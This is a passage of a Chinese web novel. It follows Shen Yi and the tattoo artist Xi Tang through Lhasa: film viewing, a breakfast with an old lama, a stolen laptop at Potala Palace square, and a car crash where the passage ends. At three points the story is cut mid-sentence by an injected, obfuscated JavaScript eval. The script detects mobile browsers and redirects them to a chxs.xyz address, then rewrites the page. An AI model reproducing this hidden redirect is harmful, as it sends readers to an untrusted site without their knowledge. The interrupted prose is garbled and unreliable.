“前半部分很稀疏平常,后半部分倒拍得很好。”沈弋评价道,“后半部分按正常逻辑来讲是狗血的,但这个导演挺有想法的,他把后半部分拍得很诡异,似有若无的让人感觉后半部分可能是一场虚假的幻想,又像是第一个人有精神疾病。” 西堂看他抽了半天,这时候自己点了根,刚张了张口就听沈弋在继续讲话。 “看完这叔叔莫名其妙就想到这个电影了,有种命运牵引感。”沈弋惆怅地笑笑,“‘命运牵引感’是我自己编的。” “编得很不错,命运确实就像是一只无形的手。” “你信命吗?” “信不信有什么区别,不管什么命运都会死,都会迎来它的归属和终结。”西堂用稀疏平常的语气说着沉重的话,“生与死的选择是人类最容易、成本最大的一次选择,古往今来追求长生和终结的人前仆后继。” 沈弋目光有些失神地看了看他,想起平措说没有任何人和事能打扰西堂的自由,那终结呢,你口里的命运终结能打扰你的自由吗? 但沈弋没有问出口,他打开手机放了首歌,《从命运的河流飘过》,整首歌的基调就像一个不会喝酒的人咽下去一口老酒。 最后一段歌词是这样的: “落幕的离别的 不停在发生着 倔强的疯狂的 放肆的呐喊着 仰着头无声的 与自己和解了 从命运的河流飘过 如此又告别一段落” 两个人静静地听,抽着烟,眼神没什么方向的虚空,西堂听完道:“很合适,对于《零点九》来说,这首歌比电影本身的主题曲更合适。” 沈弋连连拒绝,“别,主题曲也挺好的,导演挺出名的,咱俩业余爱好者,肯定是主题曲更好。” 《零点九》只是荣获法国本国电影节的最佳影片奖,当然,不是戛纳。 可沈弋喜欢它的结局,如果是他来写,他会写第一个人和父亲同归于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046874|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽,第二个人活着。 西堂却抓着不放一样,“著名导演、编剧、制片等等,也会有决策错误的时候,不一定出名就是对的。” “你说得对,不过我是这位华侨导演的粉丝,盲目喜欢他的电影。” 西堂的目光落坠在他的眼珠上,停了两秒才一笑而过,短暂的两声笑就权当回答沈弋了。 沈弋点了鼠标,片子继续播放。 期间时不时他扰人的和西堂交谈,大多数时候是他自己在叽哩哇啦说一通,西堂被他吵得集中不了精力,只能出声吓唬。 “再说话就自己出去玩,别待在这里了。”西堂忍无可忍地说。 沈弋诺诺道:“Ok,我闭嘴。” 西堂边看边在笔记本上写写画画,看到不满意的地方会多次拉动进度条反复看几遍。 沈弋完全能知道他在做什么,审片子,按他的直觉来想,片子是送去投赛,纪录片大赛,可是西堂只是一个文身师,他打消了这个念头,这不符合常人逻辑,可能只是工作宣传片,很有逼格的工作宣传片。 本来打算晚饭前结束的工作,到傍晚吃饭的时候还剩一个城市的内容没看,西堂没好气地瞪了沈弋一眼。 沈弋装傻,“饿死了饿死了,走走走,吃饭!” 饭桌上只有沈弋在愉快炫饭,因为西堂短暂开了个工作大会,这种情形沈弋已经习以为常,他的工作也经常在吃着饭的时候做工作安排。 说实话,沈弋一直不明白这样做的意义在哪里,为什么不能吃完饭再说,这种短暂的工作安排通知不是发个群通告也能说清吗?再不济也就占用饭前饭后十分钟,为什么非要吃饭的时候说。 为了装逼,沈弋肯定其他人是这样,西堂待定,他看上去不像是会装逼的人。 饭后沈弋找准机会把昨天买的唐卡给到每个人手里,大家都很感谢他。 对于这几个三十开头的“中年人”来说,沈弋为这个七人组带来了明媚的活力,在不认识沈弋之前,几个人除了安排工作和恶俗的插科打诨,基本没什么话说。 到晚上沈弋就知道了,今天的西堂太忙了。 饭后西堂重新回到电脑前,他把最后的部分审完抽了根烟提神,就被丰继叫着两个人出门去了,到了晚上十一点才回来,回来洗了个澡又被李木叫去房里。 等沈弋十二点半肚子饿了,西堂才从李木房里出来。 “你才忙完?”沈弋吃惊道,旅扎师这么忙?! 西堂面色疲惫地看了他一眼,仿佛在说忙到这么晚是怪谁。 沈弋讪讪地摸摸鼻子,“饿不饿,吃宵夜?” 西堂懒得说话,只是对他勾了勾手指。 招猫招狗呢,沈弋心里怒骂。 “撸串?”沈弋落在西堂身后两步问。 “行。”西堂拨了个电话出去,“我问问他们下不下来吃,你先点外卖,随意点,给你报销。” 沈弋轻轻挑眉一笑,“不用,我有钱,我来请。” 西堂的电话被接通,“烧烤外卖,吃的下来,沈总请客。” 丰继最先走进来,“沈总什么家底?” “没家底,全部家当还比不上西哥的一辆车。”沈弋手指在屏幕上翻翻点点,说。 “你西哥出生就在罗马,比不了。” 沈弋眼角微抽,难怪这么潇洒,无语! 几个人居然都还没睡,他真的很想咆哮你们中年人怎么天天睡这么晚、还能起这么早、甚至还能一整天精力不错!怎么就他像酒醉的蝴蝶! 他正要起个调唱一句“原来我是一只,酒醉的蝴蝶”就被李木点名。 “沈总,你明天有事没,拍摄。” “没事,很乐意效劳。” 这群人的酒虽迟但到,沈弋以为今天不会喝了,毕竟晚饭有个文身师提起要不要喝点,四个人工作所需拒绝了,沈弋也没喝,只有西堂和那个文身师小酌怡情。 西堂的兴致犹如从天而降,他们正要打电话让酒店送啤酒,他大手一挥叫了三瓶红酒。 红酒配烧烤,铁签零散落在桌面上,红酒被过于粗暴地倒在玻璃杯里,推杯换盏,雅俗共享,沈弋桀桀的笑声响了许久也没收住,笑得喘不过气来。 7. 第 7 章 酒店房间的卫生间两两相近,早上沈弋被尿憋醒,混合着洗手的水流声他听见了隔壁的洗澡声。 起这么早? 沈弋坐马桶上抽了根起床烟等到洗澡水声停,他踱步打开门过去敲响了西堂的房门。 “有事?”西堂擦着头发问。 “等我十分钟,我要跟你走。” “……” 沈弋刷牙洗脸穿身衣服穿上鞋子,边拿房卡锁门边穿外套,一阵兵荒马乱出门,西堂在门口靠墙等他。 “去哪啊?”沈弋困得打了个哈欠。 “采风。”西堂发动车子,“去哪都不知道就跟来。” “西哥,现在是北京时间早上六点,采风?被鬼踩吧?”沈弋嘴上一点都不客气。 “一天不怼人浑身不得劲是吧?”西堂眼神凉凉地睨他。 沈弋举手投降,“那倒没有,我收敛。” “饿了没?” “有点,你不说没觉得,你一说感觉有点饿了。”沈弋按了按肚子。 “忍忍,带你吃点特别的。” 沈弋挑了挑眉,“今儿又搞什么神秘,还单独清晨出门,丰哥和李哥知道该伤心了。” “他俩叫不醒,谁知道你醒这么早。”西堂说。 沈弋嘿了一声,“我是被尿憋醒的,就听见你在那大清早的洗澡,猫腻明摆着,我当然好奇啊。” 西堂轻哼一声。 到了一个小寺庙,红黄黑白混色的房屋,艳丽醒目,屋檐角和挡门的布幔随风而动。 沈弋没见过这座小寺庙,庙里寂静,时间太早了,好像只有他们两个外来人。 见他四处打量,西堂说了句,“冬天这里会更好看。” 现在是五月份了,沈弋感到可惜,以后有机会再来吧,冬天来。 走进庙里,墙壁上是褪色的密密麻麻的唐卡和一些小型的古壁画。 沈弋凑近去看,拍了几张照。 西堂等他拍完了喊他:“往这边。” 沈弋跟上去,庙里太小,走了几步拐进去就一眼看见个年级很大的喇嘛蹲在地上给火盆添柴,灯光明黄不亮,火焰给这小屋里增加了照明度,烟雾往上空飘散,火盆里柴火被烧得滋滋作响。 沈弋被烟呛得咳了一声,喇嘛听见声音扭头朝这边望过来。 “来了啊。” “来了。” 西堂不拘束地过去蹲下,接过喇嘛手里的火钳,在火盆里有技法地扒拉几下,冒着的烟逐渐变小,不呛人了,火盆也没有滋滋作响了。 沈弋也蹲到西堂身边,伸手要火钳,意思很明显,他也要玩。 西堂递给他玩。 沈弋有样学样也往火盆里扒拉几下,喇嘛见状笑出声。 西堂视线从沈弋的手滑到喇嘛身上,问:“要煮什么吃?” “面疙瘩汤。”喇嘛把一口小锅给西堂。 西堂接过去放在火盆旁的小灶上,之前来也是面疙瘩汤。 喇嘛变魔术一样手里多了两小袋风干肉,他把风干肉给两人,一人一袋。 喇嘛不吃,是庙里的小和尚吃的,西藏大多数没有严禁荤腥,素食在高原地区很难种植。 西堂意思意思拿了一根,剩下的塞到沈弋手里。 沈弋也就不玩火盆了,坐在三个手掌宽的木凳上啃风干肉,眼睛看着喇嘛煮面疙瘩汤,耳朵听着西堂和喇嘛说话。 两个人也没说什么,各自问候身体健康、近况等。 沈弋听着听着就发呆,嘴里自动啃着风干肉,他感觉自己快要睡过去,但又能清晰地知道自己并不困,只是这种场景很催眠,像家里的幼子被安排到小凳上做好吃零嘴。 听见碗勺声的时候,沈弋眨了眨眼,余光瞟到太阳光从木窗口照进来,是太阳升起来了。 沈弋放下风干肉,道谢着从喇嘛手里接过那碗面疙瘩汤。 “好香啊!”沈弋吸了一口冒着的热气。 “趁热吃。”喇嘛招呼他。 沈弋捧着碗底,嘴顺着碗边吹了吹,喝了一口,“啊!好烫!……好吃!汤喝起来也好香啊!” 喇嘛眉开眼笑,被夸得很高兴。 沈弋又细细品了两口,“怎么感觉跟我平常吃到的不一样?” “那当然不一样,这可是我的独家秘方。”喇嘛得意地说。 “放了什么特殊小调料?”沈弋好奇。 喇嘛故作高深:“那不能告诉你,你想吃的时候来这就行了。” “后继有人吗?失传了我可就没得吃了。” 喇嘛不当回事,笑说:“馋嘴,后继无人,我圆寂之后你就自己回味回味。” “那我午夜梦回得馋哭。” 佛教讲道、讲平常心,如果沈弋学会了这碗面疙瘩汤的配方,他也不会每天都去做这碗面疙瘩汤吃,只是偶尔想吃了才会去做,那不如把这碗面疙瘩汤当作道,有缘会再见。沈弋真想这碗面疙瘩汤了,他会来庙里,他来了就能和喇嘛叙叙旧,吃上这碗面疙瘩汤;在家里沈弋自己煮好,可能不是这个味了。喇嘛圆寂了吃不到了,那就不吃了吧,人已经不在了,面疙瘩汤也可能不是那个味了。 也许并没有特殊的小调料,只是这一年的这一天的这一时,沈弋坐在这里吃到碗面疙瘩汤,觉得不一样。 也许明天沈弋再来到这里吃上一碗,又不是同一个味了。 沈弋默了默,他懂喇嘛的话外之意。 西堂吃完就电话响,走到屋外接电话去了。 沈弋和喇嘛把厨具收拾干净,两个人没有年龄差似的开始扯闲。 说的话前言不搭后语,想到哪句说哪句,若是有旁人在听或许还会听不懂,但两个人聊得蛮开心。 沈弋好像得了一种对于西堂好奇的病症,一接触和西堂有关的人他就很好奇这个人和西堂如何认识的、这个人眼里的西堂是什么样子、西堂的过往。 喇嘛爽快道出:“西堂啊,一句话就说得清,他来出家,被我拒绝了。” “出家?!”沈弋难以置信,瞪大了双眼,仿佛在确认自己有没有听错。 西堂随性洒脱、有钱、满世界跑,怎么会出家?! 喇嘛目光一黯:“对,他觉得这个世界没有任何人和事留得住他了,自然想出家了。” 喇嘛喃喃了一句,但沈弋没听清。 他说完还故作姿态地交代沈弋,“你可别在西堂面前提起,不然就暴露我了。” 沈弋对这个老顽童感到无语,这不就是我只跟你说,你不能跟别人说吗。 “好的,我不会说出去的。” 沈弋还想继续问,但他感觉得到喇嘛不想继续说,两个人默契地乱聊。 西堂打完电话回来就看见喇嘛讲得眉飞色舞,沈弋笑容明朗,笑声不收敛地传出来。 真有意思,西堂被这画面感染,脸上也挂起笑意。 从沈弋被他们救下,他好像和谁都聊得来,和平措能两人出去一趟回来就让平措拉着加微信,和加南能杯酒言欢,和丰继、李木能称兄道弟互怼,还能让不太熟的另外四个人把他当弟弟一样照顾。 明明才二十五岁,待人接物、言行举止倒礼数周全,一行一语简单大方,丝毫不显刻意和见外。 “你站那当门神?”沈弋笑着不经意偏头就看见西堂站门口挡着光。 西堂不和他见识:“走了。” “嗯?这就走了?”沈弋脸上还带着刚才的笑,不太理解地问。 “你不想走可以在这里,待会自己回去。”西堂明明有耐心,但回答出来的话又像是没耐心。 沈弋站起来,“一起走,我哪有车。” 两个人和喇嘛道别,喇嘛又塞了两袋风干肉给沈弋,连同刚才的两袋,沈弋捧着四袋出门。 走了一小段路,沈弋叫:“诶诶诶!要掉啦!” 西堂拿了装在衣服口袋里。 西堂突然想到,问:“你的车还没消息吗?” “什么车?”沈弋脱口而出,但马上明白过来,“哦哦哦,车啊,没啊,没人打电话给我,我问问。” 西堂要是不说,沈弋都没想起来他和车分开一周了,都怪这几天过得太舒心了。 他系好安全带后当即就打了电话,那头说快到了,他们也正要打电话,沈弋把酒店名告诉他们,让他们开来酒店。 沈弋下车的时候看了看时间,还早。 “文身的顾客什么时候到?” “已经到了。” “不还早吗?” “另外几个过了午饭来,这个是大图,满背。” 沈弋打了个哈欠,要去拿摄像机,西堂制止了他,沈弋看向他挑了挑眉。 西堂拍拍他的背,“去睡个回笼觉,李木来拍。” 沈弋不置可否,挪回房间了。 才睡着就被白日凶铃吓醒了。 “喂,哦,你等会,我马上下来。” 送车的到了,沈弋抓了抓头发出去,睡得真沉,他感觉才睡着,但已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046875|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经过去四个多小时了。 午饭了啊,肚子咕噜一声,声挺大,沈弋摸了摸肚子。 “你检查一下有没有问题。” “有问题你们重新开回去修吗?” 对方没出声,瞪着沈弋。 沈弋呵呵笑,“不好意思,顺嘴了。” 不怼人还真是浑身不得劲,太顺嘴了,沈弋跟同事、朋友、家里、甚至他老师也是这个样,顺嘴就怼。 他溜了一圈回来,“没问题,辛苦了,结一下尾款吧。” 对方一言不发扫了二维码就走,明显是因为他顺嘴的话生气了。 沈弋停好车到一楼,就被丰继叫去吃午饭,西堂在众人快吃好的时候才进来,吃完立马要走,被沈弋叫住歇一会儿。 饭后一根烟,每个人享受完这根烟就各司其职了。 拍西堂会很舒服,称得上是视觉享受,骨相优越,眉骨突出,浓眉这点很北方人,鼻梁高挺,经常给人冷峻的感觉,身高腿长,宽肩窄腰,脖子也长,喉结明显。 沈弋闷闷叹了口气,不动声色暗骂自己一句,收起相机出去了。 西堂一整天就一个图,不用全程都拍,沈弋拍够他这边的素材就去拍其他文身师和顾客了。 一个没有任何摄影技术的人拍西堂都能拍出大片感,拍其他人就不是这么个道理了,李木还担心这小子拍翻车,但他半道抽空过来截了沈弋手里的摄像机看内容,拍得还挺过关。 沈弋被质疑了技术微微不满,一副“没想到吧,我不是装逼”的样子,李木哭笑不得,只好夸他两句,“是块好料,继续拍,晚上西哥给你办伙食。” 他给其他人打光了,有些东西光有技术也是不行的,起码他自我要求高,别人或许觉得行,但沈弋不行,得用上工具。沈弋从他们的工具包里翻出来两个灯管,找准角度放好,惹得文身师一阵笑。 “不至于吧,这两个灯管从装进去就一直没拿出来用过,你还给翻出来了。”文身师一面笑,一面又要稳住手,搞得顾客也跟着笑。 文身师赶紧提针,“哎哟大哥,我能笑你不能笑啊,肌肉都跟着抖了,毁皮了不包赔。” “‘不包赔’?说得跟真能赔一样。” “能啊,猪皮市场里不是挺多。” 顾客笑骂文身师两句,深吸一口气平稳情绪,文身师继续操作。 沈弋这才有机会插进话来回答他:“他们不用是他们的事,我得用,拍出来你就知道区别了,保准给你拍得酷酷的。” “行,不酷揍你。” “专心工作吧,赵哥。”沈弋制止他继续说话,几个文身师就他工作的时候话多,一聊肯定停不下来。 他们这边结束的早,天色暗了就收工了,几个人饿是饿了,但想等着西堂再开饭。 沈弋眼珠子一转想起来早上拿的几包风干肉,四小包肯定是不顶事的,却也能过个嘴瘾。 他凑到西堂旁边问他外套在哪,风干肉是装他衣服口袋里的。 西堂伸直右腿,“自己掏房卡,外套挂在房间进门的椅子上。” “啊?”沈弋定住两秒,“哦”,上手开始小心翼翼又迅速地掏房卡走人。 拿了风干肉沈弋又开始瞎纠结,不给西堂吃吧有点不太好,给他吃的话那他又不方便自取。 沈弋站了会儿过去拿了块肉干喂到西堂嘴边,西堂被突如其来的肉干砸得上嘴唇一疼,他微微皱了皱眉张嘴吃了。 沈弋再喂第二块,西堂顺嘴吃进嘴里,沈弋要喂第三块,被还没嚼完嘴里的肉干所以话说不清的西堂赶出去了。 西堂语气里带着明显的怒意,“出去,不准再进来。” 沈弋紧跟着生气,还要忍住不笑,装腔似的冷哼一声出去了,喂东西给吃脾气这么大。 晚上的伙食西哥给办得好,松茸煮出来的藏香鸡,让酒店单独做的。 “哪来的鸡,现买来不及吧?” “前天晚上西堂订的。” “前天就准备好今天要吃什么了!” “都说了西哥会享受。” 沈弋啧啧发声,那真是挺会享受的。 晚上啃着香味扑鼻的藏香鸡,所有人齐齐喝过头。 可能是松茸起效果了,沈弋喝得脸色红润,上头以后没自我理智意识了就控制不住地盯着西堂看了好几次,被西堂发现后也不挪开眼,只会傻愣愣的抽烟掩饰一下。 西堂发现眼神恐吓没用以后淡淡的没脾气地骂人,“胆子挺大。” 8. 第 8 章 顾客是突然打电话过来的,把西堂计划都打乱了,还都是大图,费时费力。 两个从青海过来的,一个是德令哈的,一个是西宁的,都是自驾,好巧不巧路上碰到了,哥俩当时抢最后一桶红烧牛肉味泡面,德令哈那个说我吃面你喝汤吧,西宁那个冷笑一声买了泡椒牛肉味,接完热水德令哈的那个主动递了根烟,就这么聊起来了,一聊就不可收拾了,这不臭味相投的相见恨晚么。 一个墨脱过来的,他打电话给西堂,一听西堂这趟只停留在拉萨,立马把家里的活交给朋友就过来了。 三个芒康的,顺带旅游,所以拖家带口十几个人踏进酒店的时候把酒店前台和丰继他们吓了一跳。 还有一个是四川理塘,抱怨着进门的,对着西堂一阵输出,前年西堂旅扎途径四川的时候他不在省里,等他从外地赶回四川,西堂人走了,今年一听说西堂在拉萨就冲过来了,总算赶上。 这些场景和主人公讲出口的故事都被李木录下来了,沈弋这两天没在酒店里,他回酒店后看到的未剪辑版,津津有味看完才肯睡觉。 沈弋去哪了呢? 沈弋自己玩了两天。 由于是大图,七个顾客安排了两天的活,李木自己就拍得过来,丰继也不太忙,他论技术没有李木和沈弋好,但一般的镜头他也能胜任。几个当哥的一合计就把沈弋赶出门了,丰继还把西堂车钥匙丢给沈弋,大手一挥道:“开西哥的车出去好好玩两天,油费算西哥的。” 沈弋乐得接受,食指转着车钥匙,皮衣短外套一穿就帅气出门了,早出晚归,颇有败家子的感觉。其次是昨晚喝晕了,他记忆全无,但隐隐感觉好像对西堂做了什么,看西堂没特殊反应,证明是小事,可心里些许别扭,逃离酒店调整调整。 一个五官生得极好、身高优越、气质斐然、穿着衬衫皮衣修身深色牛仔裤、戴着墨镜的二十五岁男人,从识车人都钟爱的银色奔驰大G上下来,那吸引视线的程度是不言而喻的。 沈弋走哪都时不时在拒绝搭讪,第二天他刚下车就电话响,一看是西堂。 “帮我买份礼物,送我妈的,买完……”西堂话没说完就被沈弋这边的声音打断了。 “帅哥,一个人?加个微信吧。”一个女生的声音。 沈弋的腿在裤子里抖了抖,西堂绝对听见了,说话声停了。 他暗暗为自己叹了口气,“不好意思”,为防止对方不死心,加了句“有对象了。” 女生没再纠缠走了。 西堂举着手机听见沈弋说他有对象就勾唇无声笑了,为了拒绝人编谎话,想想他一本正经唬人的模样就觉得好笑,“开着我的车招蜂引蝶。” “不开你的车也照样被搭讪。” 西堂说回正事,“买完快递,地址我微信发给你了。” “你妈妈喜欢什么?”沈弋拿不准,谴责道:“不是,送给你妈妈的,你怎么不自己来挑,没诚意。” “骂完了吗,骂完了赶快去买。”西堂好脾气地说。 沈弋对着被挂断的手机嘀咕两句,双手插兜挑礼物去了。 不知道西堂母亲喜欢什么,他只能按照平常给梁女士买的那样。 两套饰品、沈弋手绘的唐卡、沈弋下午去庙里求的平安扣,打包成两份,一份寄西堂给的地址,一份寄给梁女士。 沈弋又零零散散买了几份其他的伴手礼,一份寄给梁女士的伴侣,其他几份寄给他的老师和朋友。 沈弋像出去溜圈的小狗,见到合心意的东西就叼回家送人。 不过人出门在外,挑伴手礼和寄快递的整个过程很有意思,方便的话再加上明信片,一份隔着山川和时间差寄出去的挂念、心意,谁收到会不喜欢呢? 晚上沈弋回到酒店就被西堂拦下,他要转礼物钱,沈弋连连拒绝,“你再推让一句,我现在连夜开车走人。” 西堂累了一天听见这句话就笑喷了,眼底笑意荡漾开来。哪有用自己威胁人的,“你走一个我看看。” 沈弋怒从心中起,真就要走人。 西堂立马提醒一句,“你拿的是我的车钥匙。” 沈弋这下真生气了,把钥匙丢给西堂,“你走,该你走,我才不走。”,说完扭头回房间。 西堂见人真生气了收了收,放轻声音道:“晚安。” 没骨气,这就不气了,沈弋关上门说自己。 布达拉宫广场是世界海拔最高的广场,宽阔、容人量大,四周建有图书馆、乐园、歌舞厅,是旅游胜地和文化娱乐重要场地。 西堂出来搜集素材,临近傍晚出门,沈弋借口消食跟出来,丰继骂他跟屁虫,他装作听不见昂头跟上西堂。 广场上一群喇嘛们在唱歌跳舞,西堂让沈弋拍这个镜头。 不用西堂说,沈弋正打算拍这个镜头。 朝圣的信者也有,这在西藏、尤其是布达拉宫早已见怪不怪。沈弋钦佩他们矢志不渝且坚定不移的信仰,起点可以很多,主要的终点只有三个——布达拉宫、大昭寺、冈仁波齐。或许愚昧无意义,但却是支撑他们活着的精神动力。 信仰可以有很多,任何东西,动物、植物、虚幻的、实体的、哲学的、宗教的,一句话、一个物件,只要能支撑一个人活下去,向前走,就是有价值的、值得被尊重的信仰。 “你有信仰吗?” 西堂吐出烟,眯了眯眼,“我无神论者,要说几遍?” “哦!你之前说过了。”沈弋把哦字拉长声音。 除了父母和两个亲友,第一次有旁人和沈弋谈论死亡。 沈弋心里翻腾,面上不显,有种触碰到同类思想的兴奋和激动。 西堂在广场周边找了个角落,他要录一段广场上参杂的声音,人声、音响声、车辆过往的声响,需要用到电脑,所幸盘腿席地而坐。 沈弋看了看席地而坐的西堂,又看看自己的白裤子,他今天白裤子黑卫衣。 西堂调试着小型录音器,“让你当跟屁虫还穿白裤子。” “讲讲道理,我怎么知道你要席地而坐。”特意咬重最后四个字。 “你能席地而睡,我就不能席地而坐?” 我靠,沈弋炸毛:“我那是喝多了。” 西堂眼神戏谑地看他一眼没说话,沈弋当即翻个白眼一屁股坐下。 他并非无事可做,相反,他喜欢这样浪费时间的方式,静静地安之一隅,观察俗世百态。正如同他喜欢看纪录片,他的眼睛现在就是播放机,放映着最真实的生活。 他的工作需要他回归俗世,放大俗世现象,用一瞬瞬的俗世形象去体现人活着的样子,刻画人心和人性,所以他坐得住,能有耐心地待在西堂身边。 工作的西堂很容易太过于专注而沉默不语,这个角落只有打火机的声音,他长腿盘在一起,电脑搁腿上,地上放了本书当鼠标垫,书是背面,看不出来是什么书,书名也不朝向外边。 右手操作鼠标,电脑屏幕重复播放录音,不断截取可用音频,烟盒被打开置于腿旁,打火机在烟盒旁边,左手自然的抽出根烟点燃吸一口,直直吐出一道烟。 男人夹烟的姿势大差不差,要不就是拇指和食指捏着过滤嘴,要不就是食指和中指夹着,西堂是第二种,他很随意地摆动左手,和他喝酒一样漫不经心,好像在享受,不为什么,配上这张脸,很性感有韵味。 “好看吗?”西堂陡然出声。 “好看啊。”沈弋坦坦荡荡。 “我去买喝的,咖啡吧,你喝什么?” “你随意。” “那你喝西北风吧,刚好面向西北。”沈弋边说边走远了。 西堂无奈地笑,很快又恢复平静继续工作。 没想到这个店里排队的人这么多,店里只有两个顾客,沈弋下完单才看到界面显示前面排着十七个人。 沈弋:……真逗。 他坐在位置上找了部电影看,一点二五倍速看完一半终于做好了,提着来之不易的两杯咖啡返回。 还离老远就看见西堂不在刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046876|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才那个位置,往旁边十来米,右手抱胸,左手横举着个手机在看。 “站这干嘛?” “看电影。” “哦。”沈弋似懂非懂,把咖啡给他,恍然间后知后觉,“你电脑呢?” “被偷了。” 沈弋一口咖啡呛得直咳嗽,抬手抹了抹下巴上因为情绪激动喷出来的咖啡液。 “什么?!” 沈弋甚至想跟一句,这简直是危言耸听。 他看着西堂老神在在地继续看电影,目不斜视,右手拿着咖啡慢慢喝,激动的情绪愣是一秒化为乌有,肩膀开始微颤,胸膛也随之起伏,好半天才能说话。 “报警了吗?怎么会被偷?你刚刚去哪了?站这看什么电影?” 西堂任凭他笑,直到他一连丢出四个问题,才淡淡开口:“没报警,看见个小孩摔倒了在哭没人扶就扶了一下,回头电脑就不见了,看《一代宗师》。” “怎么不报……”沈弋话说一半就反应过来了,广场上只有四个角落有监控,西堂所处的位置是能拍到,但放大画面根本不可能看得清小偷的样子了,何况小孩摔倒没人扶电脑就被偷了,说明是团伙作案,一个大人一个小孩打配合,惯偷。 “哎哟,好运啊,老天指点你该换电脑了。” “上个月刚买的。” “不不不,昨天电脑出新款了。”沈弋食指左右摇晃说,“电脑里的文件有备份吗?” “核心部分有,其他的重新做一下就行。” “那就好,走吧,回酒店。” “看完电影,你先去车里等我。”西堂咽下咖啡。 沈弋没先走,脑袋凑过去,两个一米八几的男人站一块喝着咖啡看电影,他看过,快大结局了,宫二和马三交手。 看完两个人自然而然并肩往停车场走,半道上看到两只猫打架,有意思的是其中一只猫是残疾猫,只有三只脚,三脚狸花猫追着四脚大橘打。 沈弋手一指,“看!三脚猫功夫!” 西堂面无表情地看向猫,又跳过猫回到沈弋。 沈弋本来很惊喜的表情在西堂面无表情的脸色中逐步僵化瓦解。 开始指责,“不好笑吗?干嘛不笑,丰哥在肯定和我一起笑。” 刚才没笑的西堂看着故意气急败坏的沈弋敛眉笑了。 一回到酒店沈弋就对着丰继指控西堂的罪行,“丰哥,我好想你,我今天晚上特别想你在我身边,这个人”指了指西堂,“很糟糕的把电脑弄丢了,他电脑被偷了我特意讲笑话安慰他,他居然不领情,根本不笑,敷衍我笑一笑都不愿意。” 丰继哥俩好的搂着沈弋,“别管他,他早就与世隔绝了,跟我们玩不来一块,我们没孤立他都是我们太有中华民族优秀传统美德了。” 沈弋频频点头,狠狠同意。 晚间,他们四个忙着重新整理视频资料,沈弋和其他三个文身师打麻将。麻将是比较小型的一副,不值多少钱,是丰继出发就带着的,也是稀奇。 沈弋开门红赢了以后就一直输,终于自摸了一把电话就响了,他看着来电显示上的联系人名字愣了愣,出去接电话。 “喂,我不想干了,我要回去了。” “别,我给你重新安排,不出一个星期,行吧?”沈弋稳住他,“再相信我一次,这次不会有任何差错。” 沈弋才挂掉电话又立马拨了几个电话出去,他让陈昀把关找团队,亲自请老师周宏来帮他的忙。 周宏刚好有时间,沈弋这个徒弟是他手把手从学校一路带出来的,就带了这么一个,肯定有求必应,不过徒弟有分寸,平常和他公私分明,现下是第一次请他帮忙。 有周宏在,投资人不成问题,如沈弋所承诺,一周之内顺利地重新开始。 沈弋安排好一切,自己在阳台抽了根烟,当头一棒对于出了学校正式进入圈子里工作的他来说不难解决,像他和陈昀说过的,混了这么几年肯定混出点东西了,只是感觉厌恶,人心和人性是最扰人的。 9. 第 9 章 “风轻轻吹过半山腰……” 沈弋心情颇好,哼着小曲,举着他的相机在录像,这个小相机从那天夕阳西下录了个遗言就没打开用过了,昨晚拿出来才充满电。 他无事可做也不想窝酒店就开着自己的车出来玩,西堂他们在酒店修修补补,昨晚只是做好了大概的部分,有些技术性的后期需要专业的人来,听说是打包发给了西堂的朋友,今天中午拿到了成品,所以几个人留酒店了,顺带文了两个顾客。 拉萨市区可以玩的景点较少,沈弋提前预约了大昭寺,第三次进大昭寺了。 气温偏高,沈弋只随意穿了件卫衣,但回头率还是有的,以至于购票的时候工作人员问他是否携带学生证,他莞尔一笑表明是个社会人士了。 三游大昭寺,玩的意义已不大,这次更想做的是补拍几张旅游照片,前两次进来都是为了工作,照片稀少。 沈弋走走停停,几个网红机位也拍了,进去一圈出来也只过去两个小时,他坐车上等车里散热的间隙翻了翻拍的照片,成果不错,他挺满意的,准备洗哪几张都选好了。 车散热后沿着公路往前开,没有想是去哪里,打发时间就需要无计划行事。 油门踩到底,一路向前,回过神来快到巴松措了,进景区前有一段路限速,旁边没有动物没有村镇却限速,还好沈弋在打发时间,换作平时可能已经暴脾气发作了。 国家森林公园,林芝的最后一滴泪,但如果不是为了打发时间而打发时间的话,不太建议来这里,景色相比热门景点过于单调。 沈弋无所谓,他就是为了打发时间而来,开始散步、拍照,还在这里花了点冤枉钱。 回程的路上放着音乐开得没有来时快,人有些犯懒,单手开车。 “砰!” “我靠!” 沈弋随着撞击声整个人惯性朝前撞去,双手在大脑的极速反应和指挥下并拢护住头,头得以撞在手背上。 车子平稳以后沈弋重新靠回椅背上,眼睛扫视全身上下有没有哪有血,手脚和头转动、抖动感受有没有哪疼,最后双手摸了摸整个头,确定没有受伤,叹了叹气解开安全带下车。 